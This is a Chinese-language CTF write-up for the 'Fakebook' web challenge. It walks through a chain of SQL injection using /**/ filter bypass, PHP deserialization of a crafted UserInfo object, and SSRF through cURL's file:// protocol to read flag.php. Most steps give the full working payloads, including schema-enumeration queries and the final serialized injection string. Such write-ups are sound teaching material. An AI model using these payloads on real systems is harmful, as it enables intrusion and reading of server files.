Fakebook:SQL 注入 + PHP 反序列化 + SSRF
记录 Fakebook 组合型 Web 题中,从 SQL 注入控制序列化数据,到利用 file 协议读取服务器文件的过程。
本文仅用于授权 CTF 题目和本地实验环境。文中的路径、密码和请求均属于题目环境。
一、题目概况
这是一道组合型 Web 题,核心漏洞链是:
SQL 注入 → 控制反序列化数据 → 触发 SSRF → 使用 file 协议读取文件
二、漏洞点分析
1. SQL 注入点
- 位置:
view.php?no= - 类型:数字型注入
- 过滤:对
union、select等关键字进行过滤,可以使用/**/注释绕过 - 列数:4 列
- 回显位:第 2 列,页面的
username位置会直接输出 - 关键位:第 4 列,后续会被
unserialize()处理
基础确认请求:
-1/**/union/**/select/**/1,2,3,4
2. 反序列化点
程序会把查询结果的第 4 列传给 unserialize()。数据还原为 UserInfo 对象后,程序随后调用对象的 getBlogContents() 方法。
3. SSRF 与 file 协议
UserInfo 类的 getBlogContents() 方法内部会使用 cURL 请求 $this->blog 的值。
正常注册流程中会通过 isValidBlog() 检查 URL,但从数据库反序列化得到的对象绕过了这一步。因此可以控制 blog 属性,使其指向:
file:///var/www/html/flag.php
这一步本质上是利用 cURL 支持的协议读取服务器本地文件。
三、完整利用步骤
1. 确认注入并绕过过滤
-1/**/union/**/select/**/1,2,3,4
2. 查询数据库信息
查询数据库名:
-1/**/union/**/select/**/1,database(),3,4
查询表名:
-1/**/union/**/select/**/1,group_concat(table_name),3,4/**/from/**/information_schema.tables/**/where/**/table_schema=database()
查询 users 表字段:
-1/**/union/**/select/**/1,group_concat(column_name),3,4/**/from/**/information_schema.columns/**/where/**/table_name='users'
得到字段:
no, username, passwd, data
3. 查看 data 字段
-1/**/union/**/select/**/1,data,3,4/**/from/**/users
通过返回的序列化字符串确认类名为 UserInfo,属性包括 name、age 和 blog。

4. 构造序列化数据
可以用下面的 PHP 代码生成序列化字符串:
<?php
class UserInfo {
public $name = "1";
public $age = 1;
public $blog = "file:///var/www/html/flag.php";
}
$obj = new UserInfo();
$serialized = serialize($obj);
echo $serialized;

本题中使用的序列化字符串为:
O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
将它放入查询结果的第 4 列:
-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
实际通过 URL 传递时,需要根据页面参数和浏览器情况对特殊字符进行 URL 编码。
四、结果与 Base64 提取
请求成功后,页面会出现反序列化报错和读取结果。结果内容被放在页面中的 Base64 数据里,不能只看浏览器当前显示的页面文字。
查看页面源代码,找到 iframe 的 data: URI,提取其中的 Base64 内容并解码即可。解码后即可看到读取到的 flag.php 内容和题目结果。
五、核心知识点
| 知识点 | 说明 |
|---|---|
| 注释绕过 | 使用 union/**/select 绕过关键字过滤 |
| 回显位与利用位 | 第 2 列用于观察数据,第 4 列用于反序列化利用 |
| PHP 反序列化 | 控制对象属性,间接影响后续方法行为 |
| SSRF 与协议滥用 | 利用 cURL 的 file:// 协议读取服务器本地文件 |
| Base64 数据 URI | 从 iframe 的 data: URI 中提取并解码内容 |
六、复盘总结
本题的完整利用链是:
SQL 注入
↓
控制查询结果第 4 列
↓
unserialize() 还原 UserInfo 对象
↓
控制 blog 属性
↓
getBlogContents() 使用 cURL 请求 blog
↓
file:// 读取 flag.php
↓
从 iframe 的 Base64 数据中提取结果
遇到组合型 Web 题时,不要只关注单个漏洞。需要继续确认数据如何流转、对象何时被调用,以及最终的协议和解析方式。
工具说明
- Burp Suite:构造 SQL 注入请求、观察回显和报错。
- PHP
serialize():生成与目标类结构匹配的序列化字符串。 - 浏览器开发者工具:查看页面源代码并定位
data:URI。